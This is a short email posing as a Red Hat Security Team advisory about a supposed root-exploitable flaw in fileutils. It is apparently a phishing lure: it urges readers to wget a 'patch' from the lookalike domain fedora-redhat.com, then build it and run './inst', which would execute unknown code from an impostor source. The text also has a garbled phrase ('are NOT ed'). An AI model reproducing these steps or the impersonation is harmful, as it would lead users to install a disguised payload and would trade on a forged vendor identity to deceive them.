Dear RedHat user,

Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to  execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT ed. The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:

* First download the patch from the Security RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
* Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
* cd fileutils-1.0.6.patch
* make
* ./inst

Again, please apply this patch as soon as possible or you risk your system and others` to be compromised.

Thank you for your prompt attention to this serious matter,

RedHat Security Team.
